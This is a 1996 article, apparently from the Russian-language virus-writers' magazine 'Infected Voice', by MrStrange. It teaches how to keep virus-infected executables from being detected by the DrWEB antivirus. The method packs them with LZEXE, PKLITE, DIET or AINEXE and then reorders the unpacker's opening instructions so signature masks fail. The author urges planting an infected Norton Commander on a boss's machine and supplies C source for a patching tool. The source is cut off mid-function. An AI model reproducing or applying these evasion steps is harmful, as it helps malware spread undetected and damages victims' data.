▄▄ █ ▀▀▀ Virus Magazine █ Box 10, Kiev 148, Ukraine IV 1996 ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀ █▀▀▀▀▀▀▀█ ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█ ▌ █ ▄▀█ █ ▄▀▀ █▄▄ █ █ █▀█ █ █ █ █ █▀ █▀ █ █ █▀ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ▐ ▐ ▐ ▐▄▄ ▐▄▄ ▐ ▐▄▄ ▐▄▀ ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄ █ █ █▄█ █ ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ █▄▄▄▄▄▄▄█ (C) Copyright, 1994-96, by STEALTH group WorldWide, unLtd. ============================================================================= ╔═════════════════════════════════════════════════════╗ ║ ПОДГОТОВКА ВИРУСА К РАСПРОСТРАНЕНИЮ - НОВЫЕ ИЗВРАТЫ ║ ║ ░░░░░░░░░░░░░░░ by MrStrange ░░░░░░░░░░░░░░░ ║ ╚═════════════════════════════════════════════════════╝ О сжатии файла, с которым рапространяется вирус, уже говорилось (см. IV #1, файл iv_1.004, written by LovinGOD). Однако многое с тех пор изменилось. Для начала напомню несколько моментов. Сжатие - лучший антиэвристический прием. Если выключить в WEB'е проверку упакованых файлов (меню Настройки, пункт Параметры, либо просто клавиша F9), то после упаковки самого простого вируса программой типа LZEXE WEB этот вирус не разглядит. Даже если это один из 2025 вирусов, известных мистеру Данилову на 18 июня 1996 года. Но помогает WEB'у его умение "раздевать" файлы, сжатые некоторыми популярными упаковщиками. Давайте допустим, что у нас есть упаковщик, которого WEB не знает. Заражаем Norton Commander любым невинным и известным WEB'у вирусом, сжимаем его нашим упаковщиком, несем на машину в офис любимого шефа и меняем его Norton на наш. Вот смеху то будет! Каждый день бедняга будет этот вирус из памяти удалять, а после перезагрузки - он опять на месте. И еще одим полезный момент в использовании упаковщиков (более важный, чем первый). Допустим, написан свеженький вирус. Нужно ему и мир повидать, и себя показать. Естественно, WEB его не берет (иначе что это за вирус? Если вы написали вирус, который детектируется WEB'ом, и вы не знаете, что с этим поделать, смотрите IV #4, файл web.you; IV #5, файлы iv_5.05a и iv_5.05b; IV #6, файлы iv_6.04a и iv_6.04b). Некоторые же юзеры поганые любят по F3 в EXE-шники соваться, а иногда страшно вопят, если в конце файла после текстовых строк находится всякая всячина. И моментально стирают такие файлы - без суда и следствия. А после сжатия ничего такого подозрительного они не увидят - по крайней мере смеси кода с текстом. А через некоторое время попадет ваш вирус в TOP-2000 паутины, поубивает юзер зверька вашего, а в Norton'е-то он никуда не денется. А дальше - как в уже описанном варианте. Юзер сам себе диск побьет, еще и рад будет - а затем появится новая легенда о "вирусе из ниоткуда". Dirty Nazi в своем письме (см. IV #8, каталог LETTERS, файл d_nazi.iv8) уже упоминал про довольно популярный в Киеве "компрессер для EXE-файлов" AINEXE, которого не знает DrWEB (несмотря на то, что ainexe и web - соотечественики). Пользуйтесь и наслаждайтесь! А что будет завтра? Научится WEB разгрызать "аиновые" файлы - будем искать новый "компрессер"? Или будем писать собственные? А на вирусы время останется? Я хочу предложить два метода, которые я уже использовал для укрытия от WEB'а факта сжатия. Оба очень просты в реализации. ┌────────────┐ │МЕТОД ПЕРВЫЙ│ └────────────┘ Сейчас WEB определяет сжатые файлы уже не по текстовой строке под заголовком (например, "LZ91" у lzexe, "diet" у ... (догадайтесь сами) или "PKLITE Copr. 1990-91 PKWARE Inc. All Rights Reserved" у pklite'а). WEB стал ученым, он сморит в корень, то бишь в код. Но тут он своей пресловутой эвристики и не использует! По маске смотрит "гордый воин-мудрец Веб Игоревич" ( (cl) by Transformer, iv_5.09b), не хочет думать. И не надо! Первые исполняемые комманды у файла, сжатого LZEXE, всегда такие: 06 PUSH ES 0E PUSH CS 1F POP DS Поменял я как-то в таком файле последовательность 06 0E 1F на 0E 1F 06, в результате получилось: 0E PUSH CS 1F POP DS 06 PUSH ES То же самое, никак не влияет на исполнение, но WEB заткнулся! Аналогичные изменения можно сделать с файлами, сжатыми pklite'ом, diet'ом и "аином". Для "аина" это покаместь не актуально, однако время летит... Вот информация про эти упаковщики: PKLITE: Первые исполняемые комманды: B8 ?? ?? MOV AX,???? BA ?? ?? MOV DX,???? 05 ?? ?? ADD AX,???? Очевидно, можно поменять местами певую тройку байтов со второй - смысл не изменится. AINEXE: Первые исполняемые комманды: A1 02 00 MOV AX,[0002] 2D ?? ?? SUB AX,???? 8E D0 MOV SS,AX BC ?? ?? MOV SP,???? Тут, вопреки советам старейшин, не запрещаются прерывания при настройке стека. Знаете, почему? Потому что прерывания автоматически запрещаются после ЛЮБОГО изменения SS. Ровно на одну комманду. Причем запрещаются ВСЕ прерывания, в том числе и int 1 - трассировка. Этим и пользуется автор известной антивирусной программы, используя такие инструкции: push ss pop ss pushf для сохранения в стеке истинного состояния регистра флагов, так как даже если трассирующая программа отслеживает инструкцию pushf и подменяет в стеке регистр флагов, после push ss pop ss она не "заметит" pushf. Она вообще не заметит комманды после любого изменения ss, типа mov ax,ss mov ss,ax. Однако вернемся к нашим баранам. ПОЧТИ безопасно поменять местами два байта 8E D0 с тремя BC ?? ?? (почему это может быть опасным - догадаться нетрудно), получим код: MOV AX,[0002] SUB AX,???? MOV SP,???? MOV SS,AX Он квази-эквивалентен исходному. DIET: Тут несколько сложнее. Я не придумал, как изменить самые первые комманды. Однако по адресу entryPoint + 0ch находится такая последовательность: 9C PUSHF 06 PUSH ES 1E PUSH DS 57 PUSH DI 56 PUSH SI 52 PUSH DX 51 PUSH CX 53 PUSH BX 50 PUSH AX 0E PUSH CS FC CLD Она эквивалентна следующей: 9C PUSHF FC CLD 06 PUSH ES 1E PUSH DS 57 PUSH DI 56 PUSH SI 52 PUSH DX 51 PUSH CX 53 PUSH BX 50 PUSH AX 0E PUSH CS Теперь WEB будет молчать, независимо от того, забили ли вы "мусором" (не путать с "копом") текстовые строки в начале файла, которые указывают на упаковщик. Я все же советую "попортить" и текст (как это описано в упомянутом уже iv_1.004), так как в противном случае файлы, даже после описаных изменений, будут распаковыватся с помощью стандартных распаковщиков (unlzexe для lzexe, diet и pklite могут сами распаковывать сжатые ими файлы, а про ainexe я не знаю). Описаные или аналогичные изменения могут быть легко произведены "вручную", но если кому лень, то он может воспользоваться моей "сишной" программой (см. Вырезку 1). Я там мало комментировал, но, думаю, смысл ее понятен из вышеизложенного. Компилируется на Turbo C (думаю, Borland C++ тоже покатит, но, к сожалению, на своей чахлой машине испытать не могу). EXE-шник сначала сожмите (дискету, а тем более винчестер - the ukrainian equivalent is гвинчестер - не надо мять руками, используйте diet, pklite, lzexe или ainexe), затем обработайте программой change, затем домучьте текстовую сигнатуру. ════════════════════════════════ Вырезка #1 ════════════════════════════════ /* ┌──────────────────────────────────────────┐ │ ┌───────────────────────┐ │ ├────────┤Change (c) by MrStrange├─────────┤ │ └───────────────────────┘ │ └──────────────────────────────────────────┘ */ #include #include #include #include #include #define nmbr 4 /* Количество упаковщиков, которые знает change */ int getftype(int handle,int *where,char *sgn[],int *size); int myCompare(char *strReal,char *strMask,int size); void main(int argc,char **argv) { int f,ftype; int header[0x1c/2]; char *help = "The usage is:\n\n" "%s filename.ext\n\n" "where filename is a file, compressed via pklite, diet, " "lzexe or ainexe\n"; char *names[nmbr] = {"pklite","lzexe","diet","ainexe"}; /* Имена упаковщиков*/ char *sgn[nmbr] = {"PKLITE","LZ91","diet","AIN2"};/*Их сигнатуры*/ int where[nmbr] = {30,28,28,32}; /* Смещение (отн. начала файла), где находятся сигнатуры */ int off[nmbr] = {0,0,12,0}; /* Для i-того упаковщикова считываем код по адресу entryPoint+off[i] */ int readBytes[nmbr] = {6,3,11,11}; /* Количество считываемых байт */ char buffer[14]; /* Сюда будет считываться заголовок */ char mask[nmbr][11] ={ {0xb8,0,0,0xba,0,0},{0x06,0x0e,0x1f}, {0x9c,0x06,0x1e,0x57,0x56,0x52,0x51,0x53, 0x50,0x0e,0xfc}, {0xa1,0x02,0x00,0x2d,0x00,0x00,0x8e,0xd0,0xbc,0,0} }; /* mask[i] - начальный код для i-того упаковщика. 0 символизирует ?? - см. процедуру сравнения myCompare */ int size[nmbr] = {6,4,4,4}; /* Длина сигнатуры */ char arcname[6]; long entryPoint; int i; printf("Change Compressed File, Copyright (c) by MrStrange. Produced in Kiev\n\n"); if(argc<=1){ printf(help,argv[0]); exit(1); } if ( (f = open(argv[1],O_RDWR|O_BINARY)) == -1){ printf("%s - unable to open file\n",argv[1]); exit(1); } read(f,(void *)header,0x1c); if(header[0] != 0x5a4d){ printf("%s - not an exe-file\n",argv[1]); close(f); exit(0); } if ( (ftype = getftype(f,where,sgn,size)) == -1){ close(f); printf("%s - Not a compressed file\n",argv[1]); exit(1); } /* */ /* */ entryPoint = header[0x14/2] + ((long)(header[0x16/2] + header[0x8/2]))*0x10; lseek(f,entryPoint+off[ftype],SEEK_SET); read(f,(void *)buffer,readBytes[ftype]); if(myCompare(buffer,mask[ftype],readBytes[ftype])){ printf("By header %s is %s, but the code doesn't match\n",argv[1], names[ftype]); exit(1); } printf("%s is %s by header and by code\n",argv[1],names[ftype]); switch(ftype){ case 0: /* PKLITE. */ /* Меняем последовательность A1 02 00│2D ?? ??│8E D0 BC ?? ?? ^ └────┬───┘ └─────────────┘ Получаем: 2D ?? ?? A1 02 00 8E D0 BC ?? ?? */ { /* ФИГУрную дужку ставлю, чтобы можно было определить 2 переменные */ char a1,a2; buffer[0] = 0xba; buffer[3] = 0xb8; a1 = buffer[1]; a2 = buffer[2]; buffer[1] = buffer[4]; buffer[2] = buffer[5]; buffer[4] = a1; buffer[5] = a2; } break; case 1: /* LZEXE */ /* Меняем 06 0E 1F на 0E 1F 06 */ buffer[0] = buffer[1]; buffer[1] = buffer[2]; buffer[2] = 0x06; /* Старый buffer[0] */ break; case 2: /* DIET */ /* Исходная последовательность: 9C 06 1E 57 56 52 51 53 50 0E FC ^ │ └────────────────────────────┘ На выходе: 9C FC 06 1E 57 56 52 51 53 50 0E */ for(i = 10;i>=2;i--) buffer[i] = buffer[i-1]; buffer[1] = 0xfc; /* Старый buffer[10] */ break; case 3: /* AINEXE */ /* На входе: A1 02 00 2D ?? ??│8E D0│BC ?? ?? ^ └──┬──┘ │ └─────────────┘ На выходе: A1 02 00 2D ?? ?? BC ?? ?? 8E D0 */ buffer[6] = buffer[8]; buffer[7] = buffer[9]; buffer[8] = buffer[10]; buffer[9] = 0x8e; buffer[10] = 0xd0; } lseek(f,entryPoint+off[ftype],SEEK_SET); write(f,(void *)buffer,readBytes[ftype]); close(f); } int getftype(int f, int *where, char **sgn,int *size) { int i,ftype; char possibleName[10]; for(i = 0,ftype = -1; i